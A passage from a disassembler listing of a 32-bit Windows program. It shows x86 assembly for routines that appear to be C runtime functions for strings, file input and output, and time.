		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_416A5D:				; CODE XREF: sub_416881+18Dj
					; sub_416881+19Cj ...
		test	edx, edx
		jz	short loc_416A66
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_416A66:				; CODE XREF: sub_416881+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_416A74
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_416A74:				; CODE XREF: sub_416881+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_416A84
; ---------------------------------------------------------------------------


loc_416A79:				; CODE XREF: sub_416881+66j
					; sub_416881+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_416A82
		mov	[eax], edi


loc_416A82:				; CODE XREF: sub_416881+1FDj
		xor	eax, eax


loc_416A84:				; CODE XREF: sub_416881+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416881	endp


; =============== S U B	R O U T	I N E =======================================



sub_416A89	proc near		; CODE XREF: sub_405409+4BDp
					; seg000:00410494p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_416881
		add	esp, 10h
		retn
sub_416A89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416AA0	proc near		; CODE XREF: sub_405409+266p
					; sub_405409+46Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_415CF0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax


loc_416ACA:				; CODE XREF: seg000:00416B45j
		call	sub_41AD3D
		add	esp, 10h
		leave
		retn
sub_416AA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_416AD4	proc near		; CODE XREF: sub_405409+4Ep

var_20		= byte ptr -20h
var_10		= byte ptr -10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_42105C	; GetLocalTime
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 0A80000h
		fisub	word ptr [esi-75h]
		inc	ebp
		jmp	far ptr	4694h:7A053B66h
sub_416AD4	endp

; ---------------------------------------------------------------------------
		align 4
		jnz	short loc_416B39
		mov	ax, [ebp-18h]
		cmp	ax, ds:word_469478
		jnz	short loc_416B39
		mov	ax, [ebp-1Ah]
		cmp	ax, ds:word_469476
		jnz	short loc_416B39
		mov	ax, [ebp-1Eh]
		cmp	ax, ds:word_469472
		jnz	short loc_416B39
		mov	ax, [ebp-20h]
		cmp	ax, ds:word_469470
		jnz	short loc_416B39
		mov	eax, ds:dword_469468
		jmp	short loc_416B7E
; ---------------------------------------------------------------------------


loc_416B39:				; CODE XREF: seg000:00416AFCj
					; seg000:00416B09j ...
		lea	eax, [ebp-0CCh]
		push	eax
		call	near ptr 0A80000h
		jz	short loc_416ACA
		clc
		push	dword ptr [ebx+ebx-7Dh]
		clc
		add	dh, [ebp+12h]
		cmp	word ptr [ebp-32h], 0
		jz	short loc_416B62
		cmp	dword ptr [ebp-24h], 0
		jz	short loc_416B62
		push	1
		pop	eax
		jmp	short loc_416B69
; ---------------------------------------------------------------------------


loc_416B62:				; CODE XREF: seg000:00416B55j
					; seg000:00416B5Bj
		xor	eax, eax
		jmp	short loc_416B69
; ---------------------------------------------------------------------------
		or	eax, 0FFFFFFFFh


loc_416B69:				; CODE XREF: seg000:00416B60j
					; seg000:00416B64j
		push	esi
		push	edi
		lea	esi, [ebp-20h]
		mov	edi, offset word_469470
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	ds:dword_469468, eax
		pop	esi


loc_416B7E:				; CODE XREF: seg000:00416B37j
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		push	eax
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		push	eax
		call	sub_41B7EE
		mov	ecx, [ebp+8]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_416BAE
		mov	[ecx], eax

locret_416BAE:				; CODE XREF: seg000:00416BAAj
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416BB0	proc near		; CODE XREF: sub_405A89+4Ep
					; seg000:00406F4Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_416BD4
		xor	eax, eax
		jmp	loc_416C7D
; ---------------------------------------------------------------------------


loc_416BD4:				; CODE XREF: sub_416BB0+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_416BE7
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_416BF3
; ---------------------------------------------------------------------------


loc_416BE7:				; CODE XREF: sub_416BB0+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_416BF3
; ---------------------------------------------------------------------------


loc_416BF0:				; CODE XREF: sub_416BB0+C4j
		mov	ecx, [ebp+arg_0]


loc_416BF3:				; CODE XREF: sub_416BB0+35j
					; sub_416BB0+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_416C25
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_416C25
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_416C0A
		mov	edi, eax


loc_416C0A:				; CODE XREF: sub_416BB0+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_4155D0
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_416C70
; ---------------------------------------------------------------------------


loc_416C25:				; CODE XREF: sub_416BB0+49j
					; sub_416BB0+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_416C58
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_416C3B
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_416C3B:				; CODE XREF: sub_416BB0+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41B989
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_416C82
		cmp	eax, 0FFFFFFFFh
		jz	short loc_416C88
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_416C70
; ---------------------------------------------------------------------------


loc_416C58:				; CODE XREF: sub_416BB0+78j
		push	esi
		call	sub_41B8B0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_416C8C
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_416C70:				; CODE XREF: sub_416BB0+73j
					; sub_416BB0+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_416BF0
		mov	eax, [ebp+arg_8]


loc_416C7D:				; CODE XREF: sub_416BB0+1Fj
					; sub_416BB0+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_416C82:				; CODE XREF: sub_416BB0+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_416C8C
; ---------------------------------------------------------------------------


loc_416C88:				; CODE XREF: sub_416BB0+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_416C8C:				; CODE XREF: sub_416BB0+B2j
					; sub_416BB0+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_416C7D
sub_416BB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C98	proc near		; CODE XREF: sub_405B23+2B2p
					; sub_406100+101p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_416CB1:				; CODE XREF: sub_416C98+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_416CB1
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_416CD9
		mov	edx, ds:dword_469480


loc_416CD9:				; CODE XREF: sub_416C98+39j
					; sub_416C98+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_416CF9
		test	al, al
		jz	short loc_416CF9
		inc	edx
		jmp	short loc_416CD9
; ---------------------------------------------------------------------------


loc_416CF9:				; CODE XREF: sub_416C98+58j
					; sub_416C98+5Cj
		mov	ebx, edx


loc_416CFB:				; CODE XREF: sub_416C98+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_416D1F
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_416D1B
		inc	edx
		jmp	short loc_416CFB
; ---------------------------------------------------------------------------


loc_416D1B:				; CODE XREF: sub_416C98+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_416D1F:				; CODE XREF: sub_416C98+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	ds:dword_469480, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_416C98	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416D40	proc near		; CODE XREF: seg000:00406564p
					; seg000:004072E4p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_416DC3
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_416D64
		shr	ecx, 2
		jnz	short loc_416DD1
		jmp	short loc_416D85
; ---------------------------------------------------------------------------


loc_416D64:				; CODE XREF: sub_416D40+1Bj
					; sub_416D40+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_416D92
		test	al, al
		jz	short loc_416D9A
		test	esi, 3
		jnz	short loc_416D64
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416DD1


loc_416D80:				; CODE XREF: sub_416D40+8Fj
		and	ebx, 3
		jz	short loc_416D92


loc_416D85:				; CODE XREF: sub_416D40+22j
					; sub_416D40+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_416DBE
		dec	ebx
		jnz	short loc_416D85


loc_416D92:				; CODE XREF: sub_416D40+2Bj
					; sub_416D40+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416D9A:				; CODE XREF: sub_416D40+2Fj
		test	edi, 3
		jz	short loc_416DB4


loc_416DA2:				; CODE XREF: sub_416D40+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_416E36
		test	edi, 3
		jnz	short loc_416DA2


loc_416DB4:				; CODE XREF: sub_416D40+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416E27


loc_416DBB:				; CODE XREF: sub_416D40+7Fj
					; sub_416D40+F4j
		mov	[edi], al
		inc	edi


loc_416DBE:				; CODE XREF: sub_416D40+4Dj
		dec	ebx
		jnz	short loc_416DBB
		pop	ebx
		pop	esi


loc_416DC3:				; CODE XREF: sub_416D40+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416DC9:				; CODE XREF: sub_416D40+A9j
					; sub_416D40+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_416D80


loc_416DD1:				; CODE XREF: sub_416D40+20j
					; sub_416D40+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_416DC9
		test	dl, dl
		jz	short loc_416E1B
		test	dh, dh
		jz	short loc_416E11
		test	edx, 0FF0000h
		jz	short loc_416E07
		test	edx, 0FF000000h
		jnz	short loc_416DC9
		mov	[edi], edx
		jmp	short loc_416E1F
; ---------------------------------------------------------------------------


loc_416E07:				; CODE XREF: sub_416D40+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_416E1F
; ---------------------------------------------------------------------------


loc_416E11:				; CODE XREF: sub_416D40+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_416E1F
; ---------------------------------------------------------------------------


loc_416E1B:				; CODE XREF: sub_416D40+ADj
		xor	edx, edx
		mov	[edi], edx


loc_416E1F:				; CODE XREF: sub_416D40+C5j
					; sub_416D40+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_416E31


loc_416E27:				; CODE XREF: sub_416D40+79j
		xor	eax, eax


loc_416E29:				; CODE XREF: sub_416D40+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_416E29


loc_416E31:				; CODE XREF: sub_416D40+E5j
		and	ebx, 3
		jnz	short loc_416DBB


loc_416E36:				; CODE XREF: sub_416D40+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_416D40	endp


; =============== S U B	R O U T	I N E =======================================



sub_416E3E	proc near		; CODE XREF: seg000:00406F20p
					; seg000:00407073p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_416EBA
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_416E5D
		cmp	edi, 1
		jz	short loc_416E5D
		cmp	edi, 2
		jnz	short loc_416EBA


loc_416E5D:				; CODE XREF: sub_416E3E+13j
					; sub_416E3E+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_416E74
		push	esi
		call	sub_41BC19
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_416E74:				; CODE XREF: sub_416E3E+27j
		push	esi
		call	sub_4186E4
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_416E89
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_416E9D
; ---------------------------------------------------------------------------


loc_416E89:				; CODE XREF: sub_416E3E+42j
		test	al, 1
		jz	short loc_416E9D
		test	al, 8
		jz	short loc_416E9D
		test	ah, 4
		jnz	short loc_416E9D
		mov	dword ptr [esi+18h], 200h


loc_416E9D:				; CODE XREF: sub_416E3E+49j
					; sub_416E3E+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_41BB7F
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_416EC7
; ---------------------------------------------------------------------------


loc_416EBA:				; CODE XREF: sub_416E3E+Bj
					; sub_416E3E+1Dj
		mov	ds:dword_469484, 16h
		or	eax, 0FFFFFFFFh


loc_416EC7:				; CODE XREF: sub_416E3E+7Aj
		pop	edi
		pop	esi
		retn
sub_416E3E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416ED0	proc near		; CODE XREF: seg000:00406EEAp
					; seg000:00406F0Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_416F01
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_416EFF
		jz	short loc_416F01
		dec	ecx
		dec	ecx


loc_416EFF:				; CODE XREF: sub_416ED0+29j
		not	ecx


loc_416F01:				; CODE XREF: sub_416ED0+9j
					; sub_416ED0+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_416ED0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416F10	proc near		; CODE XREF: sub_407135+5Cp
					; sub_407135+9Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_416FC4
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_416F3A


loc_416F2B:				; CODE XREF: sub_416F10+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_416F6B
		test	edi, 3
		jnz	short loc_416F2B


loc_416F3A:				; CODE XREF: sub_416F10+19j
					; sub_416F10+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_416F3A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_416F78
		test	ah, ah
		jz	short loc_416F73
		test	eax, 0FF0000h
		jz	short loc_416F6E
		test	eax, 0FF000000h
		jnz	short loc_416F3A


loc_416F6B:				; CODE XREF: sub_416F10+20j
		dec	edi
		jmp	short loc_416F7B
; ---------------------------------------------------------------------------


loc_416F6E:				; CODE XREF: sub_416F10+52j
		sub	edi, 2
		jmp	short loc_416F7B
; ---------------------------------------------------------------------------


loc_416F73:				; CODE XREF: sub_416F10+4Bj
		sub	edi, 3
		jmp	short loc_416F7B
; ---------------------------------------------------------------------------


loc_416F78:				; CODE XREF: sub_416F10+47j
		sub	edi, 4


loc_416F7B:				; CODE XREF: sub_416F10+5Cj
					; sub_416F10+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_416F90
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416FDC
		jmp	short loc_416FAC
; ---------------------------------------------------------------------------


loc_416F90:				; CODE XREF: sub_416F10+75j
					; sub_416F10+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_416FCA
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_416FC0
		test	esi, 3
		jnz	short loc_416F90
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416FDC


loc_416FAC:				; CODE XREF: sub_416F10+7Ej
					; sub_416F10+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_416FC0


loc_416FB3:				; CODE XREF: sub_416F10+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_416FC2
		dec	ecx
		jnz	short loc_416FB3


loc_416FC0:				; CODE XREF: sub_416F10+8Bj
					; sub_416F10+A1j
		mov	[edi], cl


loc_416FC2:				; CODE XREF: sub_416F10+ABj
		pop	ebx
		pop	esi


loc_416FC4:				; CODE XREF: sub_416F10+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416FCA:				; CODE XREF: sub_416F10+85j
					; sub_416F10+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416FD4:				; CODE XREF: sub_416F10+E4j
					; sub_416F10+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_416FAC


loc_416FDC:				; CODE XREF: sub_416F10+7Cj
					; sub_416F10+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_416FD4
		test	dl, dl
		jz	short loc_416FCA
		test	dh, dh
		jz	short loc_417028
		test	edx, 0FF0000h
		jz	short loc_417018
		test	edx, 0FF000000h
		jnz	short loc_416FD4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417018:				; CODE XREF: sub_416F10+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417028:				; CODE XREF: sub_416F10+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_416F10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417040	proc near		; CODE XREF: seg000:00407518p
					; seg000:0040FF02p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_417061
		xor	eax, eax
		jmp	short loc_417063
; ---------------------------------------------------------------------------


loc_417061:				; CODE XREF: sub_417040+1Bj
		mov	eax, edi


loc_417063:				; CODE XREF: sub_417040+1Fj
		cld
		pop	edi
		leave
		retn
sub_417040	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_417080


loc_417070:				; CODE XREF: sub_417080+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_417080
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417080	proc near		; CODE XREF: sub_4085D3+DBp
					; seg000:0040D266p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00417070 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_417086:				; CODE XREF: sub_415AC0+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_4170AB


loc_417098:				; CODE XREF: sub_417080+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_417070
		test	cl, cl
		jz	short loc_4170F4
		test	edx, 3
		jnz	short loc_417098


loc_4170AB:				; CODE XREF: sub_417080+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_4170B6:				; CODE XREF: sub_417080+61j
					; sub_417080+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_4170F8
		and	eax, 81010100h
		jz	short loc_4170B6
		and	eax, 1010100h
		jnz	short loc_4170F2
		and	esi, 80000000h
		jnz	short loc_4170B6


loc_4170F2:				; CODE XREF: sub_417080+68j
					; sub_417080+81j ...
		pop	esi
		pop	edi


loc_4170F4:				; CODE XREF: sub_417080+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4170F8:				; CODE XREF: sub_417080+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_417135
		test	al, al
		jz	short loc_4170F2
		cmp	ah, bl
		jz	short loc_41712E
		test	ah, ah
		jz	short loc_4170F2
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_417127
		test	al, al
		jz	short loc_4170F2
		cmp	ah, bl
		jz	short loc_417120
		test	ah, ah
		jz	short loc_4170F2
		jmp	short loc_4170B6
; ---------------------------------------------------------------------------


loc_417120:				; CODE XREF: sub_417080+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_417127:				; CODE XREF: sub_417080+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41712E:				; CODE XREF: sub_417080+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_417135:				; CODE XREF: sub_417080+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_417080	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41713C	proc near		; CODE XREF: sub_4085D3+AFp
					; seg000:004112CCp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_417150
		xor	eax, eax
		jmp	short loc_417186
; ---------------------------------------------------------------------------


loc_417150:				; CODE XREF: sub_41713C+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_417180
		mov	esi, [ebp+arg_8]


loc_417159:				; CODE XREF: sub_41713C+42j
		dec	dword ptr [esi+4]
		js	short loc_417168
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41716F
; ---------------------------------------------------------------------------


loc_417168:				; CODE XREF: sub_41713C+20j
		push	esi
		call	sub_41B8B0
		pop	ecx


loc_41716F:				; CODE XREF: sub_41713C+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41718A
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_417180
		dec	[ebp+arg_4]
		jnz	short loc_417159


loc_417180:				; CODE XREF: sub_41713C+18j
					; sub_41713C+3Dj ...
		and	byte ptr [edi],	0


loc_417183:				; CODE XREF: sub_41713C+55j
		mov	eax, ebx
		pop	esi


loc_417186:				; CODE XREF: sub_41713C+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41718A:				; CODE XREF: sub_41713C+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_417180
		xor	ebx, ebx
		jmp	short loc_417183
sub_41713C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417193	proc near		; CODE XREF: sub_409B24+6p
					; sub_409B42+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_469518, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_4171C0
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_417259
		cmp	eax, 5Ah
		jg	loc_417259
		add	eax, 20h
		jmp	loc_417259
; ---------------------------------------------------------------------------


loc_4171C0:				; CODE XREF: sub_417193+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_4171F4
		cmp	ds:dword_437F6C, esi
		jle	short loc_4171E2
		push	esi
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_4171EC
; ---------------------------------------------------------------------------


loc_4171E2:				; CODE XREF: sub_417193+42j
		mov	eax, ds:off_437D60
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_4171EC:				; CODE XREF: sub_417193+4Dj
		test	eax, eax
		jnz	short loc_4171F4


loc_4171F0:				; CODE XREF: sub_417193+ADj
		mov	eax, ebx
		jmp	short loc_417259
; ---------------------------------------------------------------------------


loc_4171F4:				; CODE XREF: sub_417193+3Aj
					; sub_417193+5Bj
		mov	edx, ds:off_437D60
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
